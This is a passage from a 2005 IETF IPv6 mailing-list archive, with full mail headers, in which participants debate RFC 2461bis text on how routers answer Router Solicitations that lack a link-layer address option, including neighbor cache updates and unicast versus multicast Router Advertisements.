the >> unspecified address while the unicast one is tentative. > > > An optimistic node may use a tentative source address in a RS. But if > it does, it must not include the SLLAO. This prevents the router from > overwriting a possibly existing NC entry for the tentative address's > real owner. > > For the same reason, the optimistic node cannot use a SLLAO in a NS sent > from a tentative source address. But since a NS does not make a lot of > sense without a SLLAO, a NS cannot be sent at all from a tentative > source address. So it must always be the router or a neighbor who > starts address resolution for an optimistic node while the optimistic > node's is still tentative. This is just as an aside (won't affect the discussion much). It's true that opti-dad isn't allowed to be sent for multicast destinations, where SLLAO must be sent. In unicast NS, where it's not mandatory, it may still possible to send NS with TSLLAO. I'm not sure it's useful though. It's worth noting that responses to unicast NS from a node which doesn't actually have a valid NCE for the solicitor (it is assumed to do so, from section 7.2.2 of 2461), NS/NA exchange in the reverse direction is performed before delivery of the NA. >> > Unicast RA's could be advantageous on link layers with > >> acknowledgements, > like IEEE 802.11, where they are realiably >> transmitted. >> >> => Sure, there are many other examples of WWANs where unicast >> RAs make more sense when responding to RSs, that's why I'm >> not sure if it's always good to follow the FreeBSD way you describe >> above. > > > > > It'd be good if we can get some agreement on this before the > > draft deadline. > > Yes, Hesham. I didn't mean to say that the way FreeBSD responds to RS's > is my favorite. Actually, I think that we now have two use-cases where > unicast RS's make more sense, WWANs and 802.11, and there are probably > more. Also, I don't think that the additional state, NOSTATE, which > FreeBSD uses for NC entries without L2 addresses makes a lot of sense. > > Overall, I think that the plethora of scenarios can be accommodated best > if we leave a node some choice with respect to when a router creates a > NC entry, and when it sends a RA by unicast or by multicast. > > RFC 2461bis already depends NC updates on whether the RS's source > address is unspecified or not: If it is unspecified, the NC is not > updated. If it is valid, either an existing NC entry is modified or a > new NC entry is created. I think this is good; maybe we can expand on > these rules. > > (1) The router can unicast a RA if and only if it previously received a > RS with a valid (specified) source address. Rate limitations may > prohibit the router from sending a unicast RA, though, and instead send > a multicast RA that is anyway scheduled for transmission. RFC 2461bis > already has this functionality. > > (2) If the received RS has a valid source address, but no SLLAO, then > address resolution must be done before the unicast RA is sent. [Hmm, one > may also consider to trigger address resolution, but still send a > multicast RA. This could be faster than the unicast RA, which would > have to wait for address resolution to complete...] It's not really worth it to do address resolution. That would need to create neighbour cache state, when there's nothing to send in the neighbour cache entry queue. The outside the [...] it looks ok. I'd probably guess that it's worth putting a caveat here: If there's no SLLAO, some routers may perfer to schedule a multicast response, in order to avoid neighbour discovery, which may be costly on some links. > (3) The router sends multicast RA's, first, on a periodic basis and, > second, whenever it receives a RS with an unspecified source address. > According to RFC 2461bis, rate limitations may cause the router to not > immediately send a solicited multicast RA, but to wait for the next > periodic multicast RA. > (4) Rate limitations should be adjustable according to a particular > link-layer technology, capacity, and deployment scenario. This allows > for easy optimizations, like [1]. Nothing is easy ;-) There's work going on with regard to FastRA which may provide the benefits without manual configuration though. So if this is text we're after, I'd prefer no (informative) references to FastRA in a DS. It's worth specifying that deployers consult IPv6 over foo documents or IPv6 network deployment BCPs to see if any recommendations update specifications in this document. > - Christian > > [1] draft-mkhalil-ipv6-fastra-05.txt > Greg -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 20 20:06:23 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA00345 for ; Sun, 20 Feb 2005 20:06:23 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D32Ny-00070g-F9 for ipv6-web-archive@ietf.org; Sun, 20 Feb 2005 20:29:20 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D30yg-0000ap-Fn; Sun, 20 Feb 2005 18:59:06 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D30Mi-0001VB-4Z for ipv6@megatron.ietf.org; Sun, 20 Feb 2005 18:19:52 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21887 for ; Sun, 20 Feb 2005 18:19:43 -0500 (EST) Received: from [63.103.94.23] (helo=ftmailgfi1.flariontech.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D30im-0004Uu-B1 for ipv6@ietf.org; Sun, 20 Feb 2005 18:42:41 -0500 Received: from ftmailserver.flariontech.com ([10.10.1.140]) by ftmailgfi1.flariontech.com with Microsoft SMTPSVC(5.0.2195.6713); Sun, 20 Feb 2005 18:19:05 -0500 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Sun, 20 Feb 2005 18:19:04 -0500 Message-ID: Thread-Topic: [2461bis] host variables on router Thread-Index: AcT+6T4XaD6B7fD1Ra6NhhQAImW5iQYuKNFw From: "Soliman, Hesham" To: "Yukiyo Akisada" , X-OriginalArrivalTime: 20 Feb 2005 23:19:05.0333 (UTC) FILETIME=[921B4A50:01C517A2] X-Spam-Score: 0.0 (/) X-Scan-Signature: 082a9cbf4d599f360ac7f815372a6a15 Content-Transfer-Encoding: quoted-printable Subject: RE: [2461bis] host variables on router X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: f60d0f7806b0c40781eee6b9cd0b2135 Content-Transfer-Encoding: quoted-printable Sorry for the late reply. > 6.2.1. says, >=20 > 2369 The above variables contain information that is=20 > placed in outgoing=20 > 2370 Router Advertisement messages. Hosts use the=20 > received information to=20 > 2371 initialize a set of analogous variables that=20 > control their external=20 > 2372 behavior (see Section 6.3.2). Some of these host=20 > variables (e.g.,=20 > 2373 CurHopLimit, RetransTimer, and ReachableTime)=20 > apply to all nodes=20 > 2374 including routers. In practice, these variables=20 > may not actually be=20 > 2375 present on routers, since their contents can be=20 > derived from the=20 > 2376 variables described above. However, external=20 > router behavior MUST be=20 > 2377 the same as host behavior with respect to these=20 > variables. In=20 > 2378 particular, this includes the occasional=20 > randomization of the=20 > 2379 ReachableTime value as described in Section 6.3.2.=20 >=20 > Especially, > the sentence - "external router behavior MUST be the same as=20 > host behavior with respect to these variables.", > is unclear for me. >=20 > Does it mean that > the router has the same values as what the host receives from RA? =3D> I believe it means that while the exact same variable might not exist in hosts and routers, the external behaviour (on the wire) should be consistent on both ends. For instance, if the IsRouter falg does not exist in the router, it still has to send NAs with=20 the R flag set. I hope this clarifies it.=20 Hesham =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D This email may contain confidential and privileged material for the sole = use of the intended recipient. Any review or distribution by others is = strictly prohibited. If you are not the intended recipient please contact the = sender and delete all copies. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 20 20:08:54 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA00533 for ; Sun, 20 Feb 2005 20:08:54 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D32QR-000751-9h for ipv6-web-archive@ietf.org; Sun, 20 Feb 2005 20:31:51 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D30ym-0000dZ-M8; Sun, 20 Feb 2005 18:59:12 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D30Qo-0002Wa-Jq for ipv6@megatron.ietf.org; Sun, 20 Feb 2005 18:24:06 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA22188 for ; Sun, 20 Feb 2005 18:23:58 -0500 (EST) Received: from [63.103.94.23] (helo=ftmailgfi1.flariontech.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D30mq-0004bR-JO for ipv6@ietf.org; Sun, 20 Feb 2005 18:46:56 -0500 Received: from ftmailserver.flariontech.com ([10.10.1.140]) by ftmailgfi1.flariontech.com with Microsoft SMTPSVC(5.0.2195.6713); Sun, 20 Feb 2005 18:23:13 -0500 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Sun, 20 Feb 2005 18:23:12 -0500 Message-ID: Thread-Topic: RFC 2461[bis]: RS with srcaddr but w/o SLLAO Thread-Index: AcUXobX0C+7MQiL6QmawGy7+gHCGFAAANzUw From: "Soliman, Hesham" To: , "Christian Vogt" X-OriginalArrivalTime: 20 Feb 2005 23:23:13.0071 (UTC) FILETIME=[25C51BF0:01C517A3] X-Spam-Score: 0.0 (/) X-Scan-Signature: bfe538a859d88717fa3c8a6377d62f90 Content-Transfer-Encoding: quoted-printable Cc: Mark Doll , Roland Bless , ipv6@ietf.org Subject: RE: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 8cb9b411340046bf4080a729180a0672 Content-Transfer-Encoding: quoted-printable The text now looks like this: Router Solicitations in which the Source Address is the unspecified address MUST NOT update the router's Neighbor Cache; solicitations with a proper source address update the Neighbor Cache as follows. If the router already has a Neighbor Cache entry for the solicitation's sender, the solicitation contains a Source Link-Layer Address option, and the received link-layer address differs from that already in the cache, the link-layer address SHOULD be updated in the appropriate Neighbor Cache entry, and its reachability state MUST also be set to STALE. If there is no existing Neighbor Cache entry for the solicitation's sender, the router creates one, installs the link- layer address and sets its reachability state to STALE as specified in Section 7.3.3. If there is no existing Neighbor Cache entry and no = Source Link-Layer Address option was present in the solicitation, the = router may respond with either a unicast or a multicast router = advertisement. Whether or not a Source Link-Layer Address option is provided, if a Neighbor Cache entry for the solicitation's sender exists (or is created) the entry's IsRouter flag MUST be set to FALSE. I hope this is clear, if not let me know ASAP because I'm submitting the draft soon before the deadline. Hesham > -----Original Message----- > From: Greg Daley [mailto:greg.daley@eng.monash.edu.au] > Sent: Sunday, February 20, 2005 6:13 PM > To: Christian Vogt > Cc: Soliman, Hesham; ipv6@ietf.org; Mark Doll; Roland Bless > Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO >=20 >=20 > Hi Christian and Hesham, >=20 > I think people are asymptoting to the > same point. >=20 > Are we supposed to be suggesting text though? >=20 > Christian Vogt wrote: > > Hi Hesham. > >=20 > > > [...] > >=20 > >> > I guess this is why FreeBSD introduces a new state,=20 > NOSTATE. It does > >> > not do immediate address resolution on an entry in=20 > this state. It > >> > doesn't need to, because Rtadvd (on FreeBSD) sends=20 > multicast >=20 > >> RA's in all > >> > cases except for ISATAP interfaces.=20 > >> =3D> Right, I was trying to accomodate other ways of=20 > implementing Rtadvd > >> that would send unicast RAs in response to the RS in question. For > >> example in the case where no LLA exists in the technology used. In > >> this case it would be wasteful to multicast the RA. This=20 > is especially > >> true in a mobile system where you might get several RSs due to MNs > >> appearing on the link. > >=20 > >=20 > > I agree. > >=20 > >> [...] > >> =3D> So, from the above, I assume you suggest that we always send = a=20 > >> multicast RA in response? I don't know if this is a good way > >> to go given the example I mentioned above. What do you think? > >=20 > >=20 > > No, I don't think that a RA should always be muticasted. =20 > It certainly=20 > > makes sense in many situations to unicast a RA. I get=20 > back to this in=20 > > my last comment. > >=20 > >> > If an RS contains a TSLLAO [1], the router does not have to >=20 > >> immediately > >> > initiate address resolution (i.e., be conservative),=20 > but can >=20 > >> still send > >> > a unicast RA. > >> > >> =3D> I think the TSLLAO draft is useful in this case, but=20 > we obviously > >> still need to address this case for legacy hosts that=20 > don't implement > >> TSLLAO. > >=20 > >=20 > > Ok. > >=20 > >> > > Soliman, Hesham wrote: > >> > >> [...] If an entry already exists with a > >> > >> LLA then it responds with a (two options): > >> > >> > >> - unicast RA unless a multicast RA was=20 > already scheduled. > >> > >> > >> - A multicast RA. > >> > >> > >> I think the second option might be better to=20 > allow for >=20 > >> ODAD to work. > >> > > Hesham, why would a multicast RA be required for=20 > ODAD? An >=20 > >> optimistic > node can always send a RS from the=20 > unspecified source >=20 > >> address to have > the router multicast the RA. > >> > >> =3D> That's true, I didn't consider this case. It's been a long > >> time since I last read ODAD and I don't know if it allows=20 > the Onode to=20 > >> send RSs with a tentative src address or if it > >> requires the unspecified address. I guess it should just use the=20 > >> unspecified address while the unicast one is tentative. > >=20 > >=20 > > An optimistic node may use a tentative source address in a=20 > RS. But if=20 > > it does, it must not include the SLLAO. This prevents the=20 > router from=20 > > overwriting a possibly existing NC entry for the tentative=20 > address's=20 > > real owner. > >=20 > > For the same reason, the optimistic node cannot use a=20 > SLLAO in a NS sent=20 > > from a tentative source address. But since a NS does not=20 > make a lot of=20 > > sense without a SLLAO, a NS cannot be sent at all from a tentative=20 > > source address. So it must always be the router or a neighbor who=20 > > starts address resolution for an optimistic node while the=20 > optimistic=20 > > node's is still tentative. >=20 > This is just as an aside (won't affect the discussion much). > It's true that opti-dad isn't allowed to be sent for multicast > destinations, where SLLAO must be sent. > In unicast NS, where it's not mandatory, it may still=20 > possible to send > NS with TSLLAO. I'm not sure it's useful though. >=20 > It's worth noting that responses to unicast NS from a node=20 > which doesn't > actually have a valid NCE for the solicitor (it is assumed to do so, > from section 7.2.2 of 2461), NS/NA exchange in the reverse direction > is performed before delivery of the NA. >=20 > >> > Unicast RA's could be advantageous on link layers with >=20 > >> acknowledgements, > like IEEE 802.11, where they are realiably=20 > >> transmitted. > >> > >> =3D> Sure, there are many other examples of WWANs where unicast > >> RAs make more sense when responding to RSs, that's why I'm > >> not sure if it's always good to follow the FreeBSD way=20 > you describe > >> above. > >=20 > > > > > > It'd be good if we can get some agreement on this before the > > > draft deadline. > >=20 > > Yes, Hesham. I didn't mean to say that the way FreeBSD=20 > responds to RS's=20 > > is my favorite. Actually, I think that we now have two=20 > use-cases where=20 > > unicast RS's make more sense, WWANs and 802.11, and there=20 > are probably=20 > > more. Also, I don't think that the additional state,=20 > NOSTATE, which=20 > > FreeBSD uses for NC entries without L2 addresses makes a=20 > lot of sense. > >=20 > > Overall, I think that the plethora of scenarios can be=20 > accommodated best=20 > > if we leave a node some choice with respect to when a=20 > router creates a=20 > > NC entry, and when it sends a RA by unicast or by multicast. > >=20 > > RFC 2461bis already depends NC updates on whether the RS's source=20 > > address is unspecified or not: If it is unspecified, the=20 > NC is not=20 > > updated. If it is valid, either an existing NC entry is=20 > modified or a=20 > > new NC entry is created. I think this is good; maybe we=20 > can expand on=20 > > these rules. > >=20 > > (1) The router can unicast a RA if and only if it=20 > previously received a=20 > > RS with a valid (specified) source address. Rate limitations may=20 > > prohibit the router from sending a unicast RA, though, and=20 > instead send=20 > > a multicast RA that is anyway scheduled for transmission. =20 > RFC 2461bis=20 > > already has this functionality. > >=20 > > (2) If the received RS has a valid source address, but no=20 > SLLAO, then=20 > > address resolution must be done before the unicast RA is=20 > sent. [Hmm, one=20 > > may also consider to trigger address resolution, but still send a=20 > > multicast RA. This could be faster than the unicast RA,=20 > which would=20 > > have to wait for address resolution to complete...] >=20 > It's not really worth it to do address resolution. That would > need to create neighbour cache state, when there's nothing to send > in the neighbour cache entry queue. The outside the [...] > it looks ok. >=20 > I'd probably guess that it's worth putting a caveat here: >=20 > If there's no SLLAO, some routers may perfer to schedule a multicast > response, in order to avoid neighbour discovery, which may be costly > on some links. >=20 > > (3) The router sends multicast RA's, first, on a periodic=20 > basis and,=20 > > second, whenever it receives a RS with an unspecified=20 > source address.=20 > > According to RFC 2461bis, rate limitations may cause the=20 > router to not=20 > > immediately send a solicited multicast RA, but to wait for=20 > the next=20 > > periodic multicast RA. >=20 >=20 > > (4) Rate limitations should be adjustable according to a=20 > particular=20 > > link-layer technology, capacity, and deployment scenario. =20 > This allows=20 > > for easy optimizations, like [1]. >=20 > Nothing is easy ;-) >=20 > There's work going on with regard to FastRA which may provide > the benefits without manual configuration though. So if this > is text we're after, I'd prefer no (informative) references to > FastRA in a DS. >=20 > It's worth specifying that deployers consult IPv6 over foo documents > or IPv6 network deployment BCPs to see if any recommendations > update specifications in this document. >=20 > > - Christian > >=20 > > [1] draft-mkhalil-ipv6-fastra-05.txt > >=20 >=20 > Greg >=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D This email may contain confidential and privileged material for the sole = use of the intended recipient. Any review or distribution by others is = strictly prohibited. If you are not the intended recipient please contact the = sender and delete all copies. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 20 20:28:58 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA02249 for ; Sun, 20 Feb 2005 20:28:58 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D32jr-0007dF-Fo for ipv6-web-archive@ietf.org; Sun, 20 Feb 2005 20:51:55 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D31U6-0007Ep-UG; Sun, 20 Feb 2005 19:31:34 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D30sk-0007bu-Gx for ipv6@megatron.ietf.org; Sun, 20 Feb 2005 18:52:58 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA24354 for ; Sun, 20 Feb 2005 18:52:49 -0500 (EST) Received: from alpha8.its.monash.edu.au ([130.194.1.8]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D31Eo-0005HV-Cd for ipv6@ietf.org; Sun, 20 Feb 2005 19:15:48 -0500 Received: from localhost ([130.194.13.82]) by vaxh.its.monash.edu.au (PMDF V5.2-31 #39306) with ESMTP id <01LL2AYRQYN88WW98O@vaxh.its.monash.edu.au> for ipv6@ietf.org; Mon, 21 Feb 2005 10:52:36 +1100 Received: from larry.its.monash.edu.au (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with ESMTP id 895C280004; Mon, 21 Feb 2005 10:52:35 +1100 (EST) Received: from [130.194.252.110] (knuth.eng.monash.edu.au [130.194.252.110]) by larry.its.monash.edu.au (Postfix) with ESMTP id 5985C3C00D; Mon, 21 Feb 2005 10:52:35 +1100 (EST) Date: Mon, 21 Feb 2005 10:52:35 +1100 From: Greg Daley In-reply-to: To: "Soliman, Hesham" Message-id: <421922C3.5040308@eng.monash.edu.au> Organization: Monash University MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=us-ascii Content-transfer-encoding: 7BIT User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20040922 X-Accept-Language: en, en-us References: X-Spam-Score: 0.0 (/) X-Scan-Signature: fb93e867a11a29ac1dc5018706b412ac Content-Transfer-Encoding: 7BIT Cc: Mark Doll , Roland Bless , ipv6@ietf.org Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: greg.daley@eng.monash.edu.au List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: f8ee348dcc4be4a59bc395f7cd6343ad Content-Transfer-Encoding: 7BIT Soliman, Hesham wrote: > The text now looks like this: > > Router Solicitations in which the Source Address is the unspecified > address MUST NOT update the router's Neighbor Cache; solicitations > with a proper source address update the Neighbor Cache as follows. If > the router already has a Neighbor Cache entry for the solicitation's > sender, the solicitation contains a Source Link-Layer Address option, > and the received link-layer address differs from that already in the > cache, the link-layer address SHOULD be updated in the appropriate > Neighbor Cache entry, and its reachability state MUST also be set to > STALE. If there is no existing Neighbor Cache entry for the > solicitation's sender, the router creates one, installs the link- > layer address and sets its reachability state to STALE as specified > in Section 7.3.3. If there is no existing Neighbor Cache entry and no > Source Link-Layer Address option was present in the solicitation, the > router may respond with either a unicast or a multicast router > advertisement. Whether or not a Source Link-Layer Address option > is provided, if a Neighbor Cache entry for the solicitation's sender > exists (or is created) the entry's IsRouter flag MUST be set to > FALSE. > > > I hope this is clear, if not let me know ASAP because I'm submitting > the draft soon before the deadline. It's OK. If you wish to swap the 'unicast or multicast' in the second last sentence to 'multicast or unicast', then that will reflect today's default preference order. Greg > Hesham > > > > -----Original Message----- > > From: Greg Daley [mailto:greg.daley@eng.monash.edu.au] > > Sent: Sunday, February 20, 2005 6:13 PM > > To: Christian Vogt > > Cc: Soliman, Hesham; ipv6@ietf.org; Mark Doll; Roland Bless > > Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO > > > > > > Hi Christian and Hesham, > > > > I think people are asymptoting to the > > same point. > > > > Are we supposed to be suggesting text though? > > > > Christian Vogt wrote: > > > Hi Hesham. > > > > > > > [...] > > > > > >> > I guess this is why FreeBSD introduces a new state, > > NOSTATE. It does > > >> > not do immediate address resolution on an entry in > > this state. It > > >> > doesn't need to, because Rtadvd (on FreeBSD) sends > > multicast > > > >> RA's in all > > >> > cases except for ISATAP interfaces. > > >> => Right, I was trying to accomodate other ways of > > implementing Rtadvd > > >> that would send unicast RAs in response to the RS in question. For > > >> example in the case where no LLA exists in the technology used. In > > >> this case it would be wasteful to multicast the RA. This > > is especially > > >> true in a mobile system where you might get several RSs due to MNs > > >> appearing on the link. > > > > > > > > > I agree. > > > > > >> [...] > > >> => So, from the above, I assume you suggest that we always send a > > >> multicast RA in response? I don't know if this is a good way > > >> to go given the example I mentioned above. What do you think? > > > > > > > > > No, I don't think that a RA should always be muticasted. > > It certainly > > > makes sense in many situations to unicast a RA. I get > > back to this in > > > my last comment. > > > > > >> > If an RS contains a TSLLAO [1], the router does not have to > > > >> immediately > > >> > initiate address resolution (i.e., be conservative), > > but can > > > >> still send > > >> > a unicast RA. > > >> > > >> => I think the TSLLAO draft is useful in this case, but > > we obviously > > >> still need to address this case for legacy hosts that > > don't implement > > >> TSLLAO. > > > > > > > > > Ok. > > > > > >> > > Soliman, Hesham wrote: > > >> > >> [...] If an entry already exists with a > > >> > >> LLA then it responds with a (two options): > > >> > >> > >> - unicast RA unless a multicast RA was > > already scheduled. > > >> > >> > >> - A multicast RA. > > >> > >> > >> I think the second option might be better to > > allow for > > > >> ODAD to work. > > >> > > Hesham, why would a multicast RA be required for > > ODAD? An > > > >> optimistic > node can always send a RS from the > > unspecified source > > > >> address to have > the router multicast the RA. > > >> > > >> => That's true, I didn't consider this case. It's been a long > > >> time since I last read ODAD and I don't know if it allows > > the Onode to > > >> send RSs with a tentative src address or if it > > >> requires the unspecified address. I guess it should just use the > > >> unspecified address while the unicast one is tentative. > > > > > > > > > An optimistic node may use a tentative source address in a > > RS. But if > > > it does, it must not include the SLLAO. This prevents the > > router from > > > overwriting a possibly existing NC entry for the tentative > > address's > > > real owner. > > > > > > For the same reason, the optimistic node cannot use a > > SLLAO in a NS sent > > > from a tentative source address. But since a NS does not > > make a lot of > > > sense without a SLLAO, a NS cannot be sent at all from a tentative > > > source address. So it must always be the router or a neighbor who > > > starts address resolution for an optimistic node while the > > optimistic > > > node's is still tentative. > > > > This is just as an aside (won't affect the discussion much). > > It's true that opti-dad isn't allowed to be sent for multicast > > destinations, where SLLAO must be sent. > > In unicast NS, where it's not mandatory, it may still > > possible to send > > NS with TSLLAO. I'm not sure it's useful though. > > > > It's worth noting that responses to unicast NS from a node > > which doesn't > > actually have a valid NCE for the solicitor (it is assumed to do so, > > from section 7.2.2 of 2461), NS/NA exchange in the reverse direction > > is performed before delivery of the NA. > > > > >> > Unicast RA's could be advantageous on link layers with > > > >> acknowledgements, > like IEEE 802.11, where they are realiably > > >> transmitted. > > >> > > >> => Sure, there are many other examples of WWANs where unicast > > >> RAs make more sense when responding to RSs, that's why I'm > > >> not sure if it's always good to follow the FreeBSD way > > you describe > > >> above. > > > > > > > > > > > It'd be good if we can get some agreement on this before the > > > > draft deadline. > > > > > > Yes, Hesham. I didn't mean to say that the way FreeBSD > > responds to RS's > > > is my favorite. Actually, I think that we now have two > > use-cases where > > > unicast RS's make more sense, WWANs and 802.11, and there > > are probably > > > more. Also, I don't think that the additional state, > > NOSTATE, which > > > FreeBSD uses for NC entries without L2 addresses makes a > > lot of sense. > > > > > > Overall, I think that the plethora of scenarios can be > > accommodated best > > > if we leave a node some choice with respect to when a > > router creates a > > > NC entry, and when it sends a RA by unicast or by multicast. > > > > > > RFC 2461bis already depends NC updates on whether the RS's source > > > address is unspecified or not: If it is unspecified, the > > NC is not > > > updated. If it is valid, either an existing NC entry is > > modified or a > > > new NC entry is created. I think this is good; maybe we > > can expand on > > > these rules. > > > > > > (1) The router can unicast a RA if and only if it > > previously received a > > > RS with a valid (specified) source address. Rate limitations may > > > prohibit the router from sending a unicast RA, though, and > > instead send > > > a multicast RA that is anyway scheduled for transmission. > > RFC 2461bis > > > already has this functionality. > > > > > > (2) If the received RS has a valid source address, but no > > SLLAO, then > > > address resolution must be done before the unicast RA is > > sent. [Hmm, one > > > may also consider to trigger address resolution, but still send a > > > multicast RA. This could be faster than the unicast RA, > > which would > > > have to wait for address resolution to complete...] > > > > It's not really worth it to do address resolution. That would > > need to create neighbour cache state, when there's nothing to send > > in the neighbour cache entry queue. The outside the [...] > > it looks ok. > > > > I'd probably guess that it's worth putting a caveat here: > > > > If there's no SLLAO, some routers may perfer to schedule a multicast > > response, in order to avoid neighbour discovery, which may be costly > > on some links. > > > > > (3) The router sends multicast RA's, first, on a periodic > > basis and, > > > second, whenever it receives a RS with an unspecified > > source address. > > > According to RFC 2461bis, rate limitations may cause the > > router to not > > > immediately send a solicited multicast RA, but to wait for > > the next > > > periodic multicast RA. > > > > > > > (4) Rate limitations should be adjustable according to a > > particular > > > link-layer technology, capacity, and deployment scenario. > > This allows > > > for easy optimizations, like [1]. > > > > Nothing is easy ;-) > > > > There's work going on with regard to FastRA which may provide > > the benefits without manual configuration though. So if this > > is text we're after, I'd prefer no (informative) references to > > FastRA in a DS. > > > > It's worth specifying that deployers consult IPv6 over foo documents > > or IPv6 network deployment BCPs to see if any recommendations > > update specifications in this document. > > > > > - Christian > > > > > > [1] draft-mkhalil-ipv6-fastra-05.txt > > > > > > > Greg > > > > =========================================================== > This email may contain confidential and privileged material for the sole use > of the intended recipient. Any review or distribution by others is strictly > prohibited. If you are not the intended recipient please contact the sender > and delete all copies. > =========================================================== > -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 20 20:30:17 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA02427 for ; Sun, 20 Feb 2005 20:30:17 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D32l8-0007fi-Pm for ipv6-web-archive@ietf.org; Sun, 20 Feb 2005 20:53:15 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D31UT-0007PG-Ia; 